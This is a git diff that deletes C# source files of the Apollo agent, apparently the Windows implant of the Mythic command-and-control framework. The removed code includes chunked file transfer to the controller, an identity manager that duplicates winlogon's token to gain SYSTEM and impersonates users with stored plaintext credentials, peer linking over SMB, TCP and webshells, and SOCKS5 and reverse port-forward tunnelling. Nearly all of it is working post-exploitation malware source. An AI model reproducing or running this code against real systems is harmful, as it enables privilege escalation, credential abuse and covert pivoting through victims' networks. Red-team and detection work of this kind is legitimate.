_uploadMessageStore[uuid].MessageStore.ChunkAdd += MessageStore_ChunkAdd; - _uploadMessageStore[uuid].MessageStore.MessageComplete += FileManager_MessageComplete; - } - } - _agent.GetTaskManager().AddTaskResponseToQueue(new MythicTaskResponse() - { - TaskID = taskID, - Status = $"Fetching File Chunk 1...", - Upload = new UploadMessage() - { - TaskID = taskID, - FileID = fileID, - ChunkNumber = 1, - ChunkSize = _chunkSize - }, - ApolloTrackerUUID = uuid - }); - WaitHandle.WaitAny(new WaitHandle[] - { - _uploadMessageStore[uuid].Complete, - ct.WaitHandle - }); - bool bRet = false; - if (_uploadMessageStore[uuid].Data != null && !_uploadMessageStore[uuid].error) - { - fileBytes = _uploadMessageStore[uuid].Data; - bRet = true; - _agent.GetTaskManager().AddTaskResponseToQueue(new MythicTaskResponse() - { - TaskID = taskID, - Status = "Using file...", - }); - } else - { - fileBytes = null; - bRet = false; - } - _uploadMessageStore.TryRemove(uuid, out UploadMessageTracker _); - - return bRet; - } - - private void MessageStore_ChunkAdd(object sender, ChunkMessageEventArgs e) - { - MythicTaskStatus msg = e.Chunks[0]; - if(msg.StatusMessage != "success") - { - _uploadMessageStore[msg.ApolloTrackerUUID].MarkError(); - _uploadMessageStore[msg.ApolloTrackerUUID].Complete.Set(); - return; - } - _agent.GetTaskManager().AddTaskResponseToQueue(new MythicTaskResponse() - { - TaskID = msg.TaskID, - Status = $"Fetching File Chunk {msg.ChunkNumber + 1} / {msg.TotalChunks}", - Upload = new UploadMessage() - { - TaskID = msg.TaskID, - FileID = msg.FileID, - ChunkNumber = msg.ChunkNumber + 1, - ChunkSize = _chunkSize - }, - ApolloTrackerUUID = msg.ApolloTrackerUUID - }); - } - - private void DownloadChunkSent(object sender, ChunkMessageEventArgs e) - { - DownloadMessageTracker tracker = (DownloadMessageTracker)sender; - var msg = new MythicTaskResponse() - { - TaskID = e.Chunks[0].TaskID, - Status = $"Transferring chunk {tracker.ChunksSent + 1} / {e.Chunks[0].TotalChunks}", - Download = new DownloadMessage - { - ChunkNumber = tracker.ChunksSent + 1, - FileID = tracker.FileID, - ChunkData = Convert.ToBase64String(tracker.Chunks[tracker.ChunksSent]), - TaskID = e.Chunks[0].TaskID - }, - ApolloTrackerUUID = e.Chunks[0].ApolloTrackerUUID - }; - if(tracker.ChunksSent == 0){ - msg.UserOutput = $"{{\"file_id\": \"{tracker.FileID}\"}}"; - } - _agent.GetTaskManager().AddTaskResponseToQueue(msg); - } - - public string GetScript() - { - return _fileStore.GetScript(); - } - - public void SetScript(string script) - { - _fileStore.SetScript(script); - } - - public bool AddFileToStore(string keyName, byte[] data) - { - return _fileStore.TryAddOrUpdate(keyName, data); - } - - public bool GetFileFromStore(string keyName, out byte[] data) - { - return _fileStore.TryGetValue(keyName, out data); - } - - public void SetScript(byte[] script) - { - _fileStore.SetScript(script); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs deleted file mode 100644 index 34ff253a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs +++ /dev/null @@ -1,393 +0,0 @@ -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.ApolloStructs; -using System; -using System.Security.Principal; -using ApolloInterop.Classes.Api; -using static ApolloInterop.Enums.Win32; -using static ApolloInterop.Constants.Win32; -using System.Runtime.InteropServices; -using static ApolloInterop.Structs.Win32; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; - -namespace Apollo.Management.Identity; - -public class IdentityManager : IIdentityManager -{ - private IAgent _agent; - - private ApolloLogonInformation _userCredential; - private WindowsIdentity _originalIdentity = WindowsIdentity.GetCurrent(); - private WindowsIdentity _currentPrimaryIdentity = WindowsIdentity.GetCurrent(); - private WindowsIdentity _currentImpersonationIdentity = WindowsIdentity.GetCurrent(); - private bool _isImpersonating = false; - - private IntPtr _executingThread = IntPtr.Zero; - private IntPtr _originalImpersonationToken = IntPtr.Zero; - private IntPtr _originalPrimaryToken = IntPtr.Zero; - - #region Delegate Typedefs - - private delegate IntPtr GetCurrentThread(); - - private delegate bool OpenThreadToken( - IntPtr threadHandle, - uint desiredAccess, - bool openAsSelf, - out IntPtr tokenHandle); - - private delegate bool OpenProcessToken( - IntPtr hProcess, - uint dwDesiredAccess, - out IntPtr hToken); - - private delegate bool DuplicateTokenEx( - IntPtr hToken, - TokenAccessLevels dwDesiredAccess, - IntPtr lpTokenAttributes, - TokenImpersonationLevel impersonationLevel, - TokenType tokenType, - out IntPtr phNewToken); - - private delegate bool SetThreadToken( - ref IntPtr hThread, - IntPtr hToken); - - private delegate bool CloseHandle( - IntPtr hHandle); - - private delegate bool GetTokenInformation( - IntPtr tokenHandle, - TokenInformationClass tokenInformationClass, - IntPtr tokenInformation, - int tokenInformationLength, - out int returnLength); - - private delegate bool SetTokenInformation( - IntPtr tokenHandle, - TokenInformationClass tokenInformationClass, - IntPtr tokenInformation, - int tokenInformationLength); - - private delegate IntPtr GetSidSubAuthorityCount(IntPtr pSid); - private delegate IntPtr GetSidSubAuthority(IntPtr pSid, int nSubAuthority); - - private delegate bool LogonUserA( - string lpszUsername, - string lpszDomain, - string lpszPassword, - LogonType dwLogonType, - LogonProvider dwLogonProvider, - out IntPtr phToken); - //private delegate bool RevertToSelf(); - - private GetCurrentThread _GetCurrentThread; - private OpenThreadToken _OpenThreadToken; - private OpenProcessToken _OpenProcessToken; - private DuplicateTokenEx _DuplicateTokenEx; - private SetThreadToken _SetThreadToken; - private CloseHandle _CloseHandle; - private GetTokenInformation _GetTokenInformation; - private SetTokenInformation _SetTokenInformation; - private GetSidSubAuthorityCount _GetSidSubAuthorityCount; - private GetSidSubAuthority _GetSidSubAuthority; - - private LogonUserA _pLogonUserA; - // private RevertToSelf _RevertToSelf; - - #endregion - - public IdentityManager(IAgent agent) - { - _agent = agent; - - _GetCurrentThread = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "GetCurrentThread"); - _OpenThreadToken = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenThreadToken"); - _OpenProcessToken = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenProcessToken"); - _DuplicateTokenEx = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "DuplicateTokenEx"); - //_RevertToSelf = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "RevertToSelf"); - _SetThreadToken = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "SetThreadToken"); - _CloseHandle = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CloseHandle"); - _GetTokenInformation = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "GetTokenInformation"); - _SetTokenInformation = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "SetTokenInformation"); - _GetSidSubAuthorityCount = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "GetSidSubAuthorityCount"); - _GetSidSubAuthority = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "GetSidSubAuthority"); - _pLogonUserA = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LogonUserA"); - - _executingThread = _GetCurrentThread(); - SetImpersonationToken(); - SetPrimaryToken(); - } - - private void SetPrimaryToken() - { - bool bRet = _OpenThreadToken( - _executingThread, - TOKEN_ALL_ACCESS, - true, - out _originalPrimaryToken); - int dwError = Marshal.GetLastWin32Error(); - if (!bRet && Error.ERROR_NO_TOKEN == dwError) - { - IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; - bRet = _OpenProcessToken( - hProcess, - TOKEN_ALL_ACCESS, - out _originalPrimaryToken); - } - else if (!bRet) - { - throw new Exception($"Failed to open thread token: {dwError}"); - } - else - { - throw new Exception($"Failed to open thread token and have unhandled error. dwError: {dwError}"); - } - if (_originalPrimaryToken == IntPtr.Zero) - _originalPrimaryToken = WindowsIdentity.GetCurrent().Token; - } - - public bool IsOriginalIdentity() - { - return !_isImpersonating; - } - public (bool,IntPtr) GetSystem() - { - if (GetIntegrityLevel() is IntegrityLevel.HighIntegrity) - { - IntPtr hToken = IntPtr.Zero; - System.Diagnostics.Process[] processes = System.Diagnostics.Process.GetProcessesByName("winlogon"); - IntPtr handle = processes[0].Handle; - - bool success = _OpenProcessToken(handle, 0x0002, out hToken); - if (!success) - { - DebugHelp.DebugWriteLine("[!] GetSystem() - OpenProcessToken failed!"); - return (false,new IntPtr()); - } - IntPtr hDupToken = IntPtr.Zero; - success = _DuplicateTokenEx(hToken, TokenAccessLevels.MaximumAllowed, IntPtr.Zero, TokenImpersonationLevel.Impersonation, TokenType.TokenImpersonation, out hDupToken); - if (!success) - { - DebugHelp.DebugWriteLine("[!] GetSystem() - DuplicateToken failed!"); - return (false,new IntPtr()); - } - DebugHelp.DebugWriteLine("[+] Got SYSTEM token!"); - return (true, hDupToken); - } - else - { - return (false,new IntPtr()); - } - } - - public IntegrityLevel GetIntegrityLevel() - { - IntPtr hToken = _currentImpersonationIdentity.Token; - int dwRet = 0; - bool bRet = false; - int dwTokenInfoLength = 0; - IntPtr pTokenInformation = IntPtr.Zero; - TokenMandatoryLevel tokenLabel; - IntPtr pTokenLabel = IntPtr.Zero; - IntPtr pSidSubAthorityCount = IntPtr.Zero; - bRet = _GetTokenInformation( - hToken, - TokenInformationClass.TokenIntegrityLevel, - IntPtr.Zero, - 0, - out dwTokenInfoLength); - if (dwTokenInfoLength == 0 || Marshal.GetLastWin32Error() != Error.ERROR_INSUFFICIENT_BUFFER) - return (IntegrityLevel)dwRet; - pTokenLabel = Marshal.AllocHGlobal(dwTokenInfoLength); - try - { - bRet = _GetTokenInformation( - hToken, - TokenInformationClass.TokenIntegrityLevel, - pTokenLabel, - dwTokenInfoLength, - out dwTokenInfoLength); - if (bRet) - { - tokenLabel = (TokenMandatoryLevel)Marshal.PtrToStructure(pTokenLabel, typeof(TokenMandatoryLevel)); - pSidSubAthorityCount = _GetSidSubAuthorityCount(tokenLabel.Label.Sid); - dwRet = Marshal.ReadInt32(_GetSidSubAuthority(tokenLabel.Label.Sid, Marshal.ReadInt32(pSidSubAthorityCount) - 1)); - if (dwRet < SECURITY_MANDATORY_LOW_RID) - dwRet = 0; - else if (dwRet < SECURITY_MANDATORY_MEDIUM_RID) - dwRet = 1; - else if (dwRet >= SECURITY_MANDATORY_MEDIUM_RID && dwRet < SECURITY_MANDATORY_HIGH_RID) - dwRet = 2; - else if (dwRet >= SECURITY_MANDATORY_HIGH_RID && dwRet < SECURITY_MANDATORY_SYSTEM_RID) - dwRet = 3; - else if (dwRet >= SECURITY_MANDATORY_SYSTEM_RID) - dwRet = 4; - else - dwRet = 0; // unknown - should be unreachable. - - } - } - catch (Exception ex) - { } - finally - { - Marshal.FreeHGlobal(pTokenLabel); - } - return (IntegrityLevel)dwRet; - } - - private void SetImpersonationToken() - { - bool bRet = _OpenThreadToken( - _executingThread, - TOKEN_ALL_ACCESS, - true, - out IntPtr hToken); - int dwError = Marshal.GetLastWin32Error(); - if (!bRet && Error.ERROR_NO_TOKEN == dwError) - { - IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; - bRet = _OpenProcessToken( - hProcess, - TOKEN_ALL_ACCESS, - out hToken); - if (!bRet) - { - throw new Exception($"Failed to acquire Process token: {Marshal.GetLastWin32Error()}"); - } - bRet = _DuplicateTokenEx( - hToken, - TokenAccessLevels.MaximumAllowed, - IntPtr.Zero, - TokenImpersonationLevel.Impersonation, - TokenType.TokenImpersonation, - out _originalImpersonationToken); - - if (!bRet) - { - throw new Exception($"Failed to acquire Process token: {Marshal.GetLastWin32Error()}"); - } - } - else if (!bRet) - { - throw new Exception($"Failed to open thread token: {dwError}"); - } - - if (_originalImpersonationToken == IntPtr.Zero) - { - _originalImpersonationToken = _originalIdentity.Token; - } - } - - public WindowsIdentity GetCurrent() - { - return _currentImpersonationIdentity; - } - - public WindowsIdentity GetOriginal() - { - return _originalIdentity; - } - - public bool SetIdentity(ApolloLogonInformation logonInfo) - { - bool bRet = false; - int dwError = 0; - IntPtr hToken = IntPtr.Zero; - - Revert(); - // Blank out the old struct - _userCredential = logonInfo; - - bRet = _pLogonUserA( - _userCredential.Username, - _userCredential.Domain, - _userCredential.Password, - _userCredential.NetOnly ? LogonType.LOGON32_LOGON_NEW_CREDENTIALS : LogonType.LOGON32_LOGON_INTERACTIVE, - LogonProvider.LOGON32_PROVIDER_WINNT50, - out hToken); - - if (bRet) - { - _currentPrimaryIdentity = new WindowsIdentity(hToken); - _CloseHandle(hToken); - bRet = _DuplicateTokenEx( - _currentPrimaryIdentity.Token, - TokenAccessLevels.MaximumAllowed, - IntPtr.Zero, - TokenImpersonationLevel.Impersonation, - TokenType.TokenImpersonation, - out IntPtr dupToken); - if (bRet) - { - _currentImpersonationIdentity = new WindowsIdentity(dupToken); - _CloseHandle(dupToken); - _isImpersonating = true; - } - else - { - Revert(); - } - } - return bRet; - } - - public void SetPrimaryIdentity(WindowsIdentity ident) - { - _currentPrimaryIdentity = ident; - _isImpersonating = true; - } - - public void SetPrimaryIdentity(IntPtr hToken) - { - _currentPrimaryIdentity = new WindowsIdentity(hToken); - _isImpersonating = true; - } - - public void SetImpersonationIdentity(WindowsIdentity ident) - { - _currentImpersonationIdentity = ident; - _isImpersonating = true; - } - - public void SetImpersonationIdentity(IntPtr hToken) - { - _currentImpersonationIdentity = new WindowsIdentity(hToken); - _isImpersonating = true; - } - - public void Revert() - { - _SetThreadToken(ref _executingThread, _originalImpersonationToken); - _userCredential = new ApolloLogonInformation(); - _currentImpersonationIdentity = _originalIdentity; - _currentPrimaryIdentity = _originalIdentity; - _isImpersonating = false; - //_RevertToSelf(); - } - - public WindowsIdentity GetCurrentPrimaryIdentity() - { - return _currentPrimaryIdentity; - } - - public WindowsIdentity GetCurrentImpersonationIdentity() - { - return _currentImpersonationIdentity; - } - - public bool GetCurrentLogonInformation(out ApolloLogonInformation logonInfo) - { - if (!string.IsNullOrEmpty(_userCredential.Username) && - !string.IsNullOrEmpty(_userCredential.Password)) - { - logonInfo = _userCredential; - return true; - } - logonInfo = new ApolloLogonInformation(); - return false; - } - - -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Peer/PeerManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Peer/PeerManager.cs deleted file mode 100644 index 1524881a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Peer/PeerManager.cs +++ /dev/null @@ -1,73 +0,0 @@ -using System; -using Apollo.Peers.SMB; -using Apollo.Peers.TCP; -using Apollo.Peers.Webshell; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; -using AI = ApolloInterop; -namespace Apollo.Management.Peer -{ - public class PeerManager : AI.Classes.P2P.PeerManager - { - public PeerManager(IAgent agent) : base(agent) - { - - } - - public override AI.Classes.P2P.Peer AddPeer(PeerInformation connectionInfo) - { - AI.Classes.P2P.Peer peer = null; - switch(connectionInfo.C2Profile.Name.ToUpper()) - { - case "SMB": - peer = new SMBPeer(_agent, connectionInfo); - break; - case "TCP": - peer = new TCPPeer(_agent, connectionInfo); - break; - case "WEBSHELL": - peer = new WebshellPeer(_agent, connectionInfo); - break; - default: - throw new Exception("Not implemented."); - } - if (peer == null) - { - throw new Exception("Peer not set to an instance of an object."); - } - while (!_peers.TryAdd(peer.GetUUID(), peer)) - { - System.Threading.Thread.Sleep(100); - } - peer.UUIDNegotiated += (object _, AI.Classes.UUIDEventArgs args) => - { - while (!_peers.TryRemove(peer.GetUUID(), out IPeer _)) - { - System.Threading.Thread.Sleep(100); - } - while (!_peers.TryAdd(peer.GetMythicUUID(), peer)) - { - System.Threading.Thread.Sleep(100); - } - }; - peer.Disconnect += (object _, EventArgs a) => - { - while (!Remove(peer)) - System.Threading.Thread.Sleep(100); - }; - //peer.Start(); - return peer; - } - - public override bool Route(DelegateMessage msg) - { - if (_peers.ContainsKey(msg.UUID)) - { - _peers[msg.UUID].ProcessMessage(msg); - return true; - } - return false; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Rpfwd/RpfwdClient.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Rpfwd/RpfwdClient.cs deleted file mode 100644 index b724bcdf..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Rpfwd/RpfwdClient.cs +++ /dev/null @@ -1,193 +0,0 @@ -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using System; -using System.Collections.Concurrent; -using System.Linq; -using System.Net.Sockets; -using System.Threading; -using TT = System.Threading.Tasks; -using ApolloInterop.Enums.ApolloEnums; -using ApolloInterop.Structs.MythicStructs; -using System.Net; -using ApolloInterop.Utils; -using System.Text; - -namespace Apollo.Management.Rpfwd -{ - public class RpfwdClient - { - // Rpfwd Client will be created for each new connection to the bound port in the rpfwd task - - private AsyncTcpClient _client; - private TcpClient _tcpClient; - private IPAddress _addr; - private int _port; - - private CancellationTokenSource _cts = new CancellationTokenSource(); - - private AutoResetEvent _requestEvent = new AutoResetEvent(false); - - private Action _sendRequestsAction; - private TT.Task _sendRequestsTask = null; - public int ID { get; private set; } - private IAgent _agent; - private Tasking _task; - private int _debugLevel; - private string _remoteConnectionString; - - private ConcurrentQueue _requestQueue = new ConcurrentQueue(); - private ConcurrentQueue _receiveQueue = new ConcurrentQueue(); - - public RpfwdClient(IAgent agent, TcpClient client, int serverId, int port, int debugLevel, Tasking task) - { - _agent = agent; - _port = port; - ID = serverId; - _tcpClient = client; - _task = task; - _debugLevel = debugLevel; - _remoteConnectionString = $"{_tcpClient.Client.RemoteEndPoint}"; - - _sendRequestsAction = (object c) => - { - TcpClient client = (TcpClient)c; - while(!_cts.IsCancellationRequested && client.Connected) - { - try - { - WaitHandle.WaitAny(new WaitHandle[] {_requestEvent, _cts.Token.WaitHandle}); - } - catch (OperationCanceledException) - { - break; - } - if (!_cts.IsCancellationRequested && client.Connected && _requestQueue.TryDequeue(out byte[] result)) - { - try - { - client.GetStream().BeginWrite(result, 0, result.Length, OnDataSent, c); - } - catch - { - break; - } - } else if (_cts.IsCancellationRequested || !client.Connected) - { - break; - } - } - client.Close(); - }; - } - - public void Exit() - { - _cts.Cancel(); - if (_sendRequestsTask != null) - _sendRequestsTask.Wait(); - } - public void Start() - { - _client = new AsyncTcpClient(_tcpClient); - _client.ConnectionEstablished += OnConnect; - _client.Disconnect += OnDisconnect; - _client.MessageReceived += OnMessageReceived; - - _client.Connect(); - } - private void OnConnect(object sender, TcpMessageEventArgs args) - { - args.State = this; - _sendRequestsTask = new TT.Task(_sendRequestsAction, args.Client); - _sendRequestsTask.Start(); - _agent.GetTaskManager().AddRpfwdDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram() - { - ServerID = ID, - Data = "", - Exit = false, - Port = _port - }); - if(_debugLevel > 0) - { - _agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - New Connection\nClient: {_remoteConnectionString}\n\n", false)); - } - } - - private void OnDisconnect(object sender, TcpMessageEventArgs args) - { - _cts.Cancel(); - args.Client.Close(); - _sendRequestsTask.Wait(); - _agent.GetRpfwdManager().Remove(ID); - if(_debugLevel > 0) - { - _agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - Closed Connection\nClient: {_remoteConnectionString}\n\n", false)); - } - } - - private void OnDataSent(IAsyncResult result) - { - TcpClient client = (TcpClient)result.AsyncState; - if (client.Connected && !_cts.IsCancellationRequested) - { - try - { - client.GetStream().EndWrite(result); - // Potentially delete this since theoretically the sender Task does everything - if (_requestQueue.TryDequeue(out byte[] data)) - { - client.GetStream().BeginWrite(data, 0, data.Length, OnDataSent, client); - } - } - catch (System.IO.IOException) - { - - } - } - } - - public void OnMessageReceived(object sender, TcpMessageEventArgs args) - { - byte[] data = args.Data.Data.Take(args.Data.DataLength).ToArray(); - DebugHelp.DebugWriteLine($"Got data from client: {ID}, AddRpfwdDatagramToQueue"); - _agent.GetTaskManager().AddRpfwdDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram() - { - ServerID = ID, - Data = Convert.ToBase64String(data), - Exit = false, - Port = _port - }); - if(_debugLevel >= 1) - { - _agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - Data ({data.Length} Bytes) From Remote Connection\n{Encoding.UTF8.GetString(data)}\n\n", false)); - } - } - - - public bool HandleDatagram(SocksDatagram dg) - { - byte[] data; - bool bRet = false; - try - { - data = Convert.FromBase64String(dg.Data); - } catch (Exception ex) - { - // Console.WriteLine($"Invalid b64 data from Mythic: {ex.Message}"); - return bRet; - } - - if (_client != null && !_sendRequestsTask.IsCompleted) - { - _requestQueue.Enqueue(data); - _requestEvent.Set(); - bRet = true; - } - if(_debugLevel >= 2) - { - _agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - Data ({data.Length} Bytes) From Mythic Connection\n{Encoding.UTF8.GetString(data)}\n\n", false)); - } - return bRet; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Rpfwd/RpfwdManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Rpfwd/RpfwdManager.cs deleted file mode 100644 index be079c77..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Rpfwd/RpfwdManager.cs +++ /dev/null @@ -1,63 +0,0 @@ -using AI = ApolloInterop; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Collections.Concurrent; -using System.Net.Sockets; -using System; -using ApolloInterop.Utils; -using System.Xml.Linq; -using ApolloInterop.Classes; - -namespace Apollo.Management.Rpfwd -{ - public class RpfwdManager : AI.Classes.RpfwdManager - { - private ConcurrentDictionary _connections = new ConcurrentDictionary(); - - public RpfwdManager(IAgent agent) : base(agent) - { - - } - public override bool AddConnection(TcpClient client, int ServerID, int Port, int debugLevel, Tasking task) - { - RpfwdClient c = new RpfwdClient(_agent, client, ServerID, Port, debugLevel, task); - _connections.AddOrUpdate(c.ID, c, (int i, RpfwdClient d) => { return d; }); - DebugHelp.DebugWriteLine($"added new connection to RpfwdManager _connections: {ServerID}"); - c.Start(); - return true; - } - - public override bool Route(SocksDatagram dg) - { - // we'll never get notification of a new client from the server, we will always identify new clients - DebugHelp.DebugWriteLine($"routing datagram: {dg.ServerID}"); - if (!_connections.ContainsKey(dg.ServerID)) - { - // this means we got a message for something that's already exited on our end - if (!dg.Exit) - { - // it is exited on our end, but Mythic isn't trying to tell us to exit, so we need to inform it to close the connection - return dg.Exit; - } - // we don't have the id, but Mythic is trying to tell us to close the id, so just drop the packet - return false; - // RpfwdClient c = new RpfwdClient(_agent, dg.ServerID); - //_connections.AddOrUpdate(c.ID, c, (int i, RpfwdClient d) => { return d; }); - } - var handleRet = _connections[dg.ServerID].HandleDatagram(dg); - if (dg.Exit) - { - // we do have the connection tracked and the Mythic server is telling us its closed on their end, so close here and exit - _connections[dg.ServerID].Exit(); - return dg.Exit; - } - return handleRet; - } - - public override bool Remove(int id) - { - _connections[id].Exit(); - return _connections.TryRemove(id, out RpfwdClient _); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Socks/SocksClient.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Socks/SocksClient.cs deleted file mode 100644 index 33c6ab32..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Socks/SocksClient.cs +++ /dev/null @@ -1,293 +0,0 @@ -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using System; -using System.Collections.Concurrent; -using System.Linq; -using System.Net.Sockets; -using System.Text; -using System.Threading; -using TT = System.Threading.Tasks; -using ApolloInterop.Enums.ApolloEnums; -using ApolloInterop.Structs.MythicStructs; -using System.Net; -using ApolloInterop.Constants; - -namespace Apollo.Management.Socks -{ - public class SocksClient - { - - private AsyncTcpClient _client; - private IPAddress _addr; - private int _port; - - private CancellationTokenSource _cts = new CancellationTokenSource(); - - private AutoResetEvent _requestEvent = new AutoResetEvent(false); - - private Action _sendRequestsAction; - private TT.Task _sendRequestsTask = null; - public int ID { get; private set; } - private IAgent _agent; - - private ConcurrentQueue _requestQueue = new ConcurrentQueue(); - private ConcurrentQueue _receiveQueue = new ConcurrentQueue(); - - public SocksClient(IAgent agent, int serverId) - { - _agent = agent; - - ID = serverId; - - _sendRequestsAction = (object c) => - { - TcpClient client = (TcpClient)c; - while(!_cts.IsCancellationRequested && client.Connected) - { - try - { - WaitHandle.WaitAny(new WaitHandle[] {_requestEvent, _cts.Token.WaitHandle}); - } - catch (OperationCanceledException) - { - break; - } - if (!_cts.IsCancellationRequested && client.Connected && _requestQueue.TryDequeue(out byte[] result)) - { - try - { - client.GetStream().BeginWrite(result, 0, result.Length, OnDataSent, c); - } - catch - { - break; - } - } else if (_cts.IsCancellationRequested || !client.Connected) - { - break; - } - } - client.Close(); - }; - } - - public void Exit() - { - _cts.Cancel(); - if (_sendRequestsTask != null) - _sendRequestsTask.Wait(); - } - - private void OnConnect(object sender, TcpMessageEventArgs args) - { - args.State = this; - _sendRequestsTask = new TT.Task(_sendRequestsAction, args.Client); - _sendRequestsTask.Start(); - } - - private void OnDisconnect(object sender, TcpMessageEventArgs args) - { - _cts.Cancel(); - args.Client.Close(); - _sendRequestsTask.Wait(); - _agent.GetSocksManager().Remove(ID); - } - - private void OnDataSent(IAsyncResult result) - { - TcpClient client = (TcpClient)result.AsyncState; - if (client.Connected && !_cts.IsCancellationRequested) - { - try - { - client.GetStream().EndWrite(result); - // Potentially delete this since theoretically the sender Task does everything - if (_requestQueue.TryDequeue(out byte[] data)) - { - client.GetStream().BeginWrite(data, 0, data.Length, OnDataSent, client); - } - } - catch (System.IO.IOException) - { - - } - } - } - - public void OnMessageReceived(object sender, TcpMessageEventArgs args) - { - byte[] data = args.Data.Data.Take(args.Data.DataLength).ToArray(); - _agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram() - { - ServerID = ID, - Data = Convert.ToBase64String(data), - Exit = false - }); - } - - public static Socks5AddressType GetAddrType(byte[] data) - { - return (Socks5AddressType)data[3]; - } - - public bool GetConnection(byte[] data) - { - Socks5AddressType addrType = GetAddrType(data); - - switch(addrType) - { - case Socks5AddressType.FQDN: - int domainLen = data[4]; - string domainName = Encoding.UTF8.GetString(data.Skip(5).Take(domainLen).ToArray()); - _port = (int)BitConverter.ToUInt16(data.Skip(5 + domainLen).Take(2).Reverse().ToArray(), 0); - try - { - _addr = Dns.GetHostEntry(domainName).AddressList[0]; - } catch (Exception ex) - { - // Console.WriteLine($"Failed to resolve DNS for {domainName}: {ex.Message}"); - return false; - } - _client = new AsyncTcpClient(domainName, _port); - break; - case Socks5AddressType.IPv4: - byte[] bIpv4 = data.Skip(4).Take(4).ToArray(); - _port = (int)BitConverter.ToUInt16(data.Skip(8).Reverse().ToArray(), 0); - _addr = new IPAddress(bIpv4); - _client = new AsyncTcpClient(_addr, _port); - break; - case Socks5AddressType.IPv6: - byte[] bIpv6 = data.Skip(4).Take(16).ToArray(); - int port3 = (int)BitConverter.ToUInt16(data.Skip(20).Reverse().ToArray(), 0); - _addr = new IPAddress(bIpv6); - _client = new AsyncTcpClient(_addr, _port); - break; - default: - break; - } - if (_client == null) - { - return false; - } - _client.ConnectionEstablished += OnConnect; - _client.Disconnect += OnDisconnect; - _client.MessageReceived += OnMessageReceived; - - return _client.Connect(); - } - - private bool SupportedSocksVersion(byte[] data) - { - return data[0] == SOCKS.SUPPORTED_VERSION; - } - - private Socks5Command GetCommand(byte[] data) - { - return (Socks5Command)data[1]; - } - - public bool HandleDatagram(SocksDatagram dg) - { - byte[] data; - bool bRet = false; - try - { - data = Convert.FromBase64String(dg.Data); - } catch (Exception ex) - { - // Console.WriteLine($"Invalid b64 data from Mythic: {ex.Message}"); - return bRet; - } - - if (_client != null && !_sendRequestsTask.IsCompleted) - { - _requestQueue.Enqueue(data); - _requestEvent.Set(); - bRet = true; - } else - { - if (data.Length > 3 && SupportedSocksVersion(data)) - { - switch (GetCommand(data)) - { - case Socks5Command.Connect: - if (GetConnection(data)) - { - byte[] success = new byte[22]; - int succesLen = success.Length; - success[0] = SOCKS.SUPPORTED_VERSION; - if (_addr.AddressFamily == AddressFamily.InterNetwork) - { - succesLen -= 12; - success[3] = 0x01; - Buffer.BlockCopy(_addr.GetAddressBytes(), 0, success, 4, 4); - Buffer.BlockCopy(BitConverter.GetBytes(_port), 0, success, 8, 2); - } else - { - success[3] = 0x04; - Buffer.BlockCopy(_addr.GetAddressBytes(), 0, success, 4, 16); - Buffer.BlockCopy(BitConverter.GetBytes(_port), 0, success, 20, 2); - } - _agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram() - { - ServerID = ID, - Data = Convert.ToBase64String(success.Take(succesLen).ToArray()), - Exit = false - }); - bRet = true; - } - else - { - byte[] failedMessage = new byte[10] - { - SOCKS.SUPPORTED_VERSION, - 0x01, - 0x00, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - }; - _agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram() - { - ServerID = ID, - Data = Convert.ToBase64String(failedMessage), - Exit = true - }); - } - break; - case Socks5Command.Bind: - break; - case Socks5Command.Associate: - break; - default: - byte[] unsupportedCmd = new byte[10] - { - SOCKS.SUPPORTED_VERSION, - 0x07, - 0x00, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 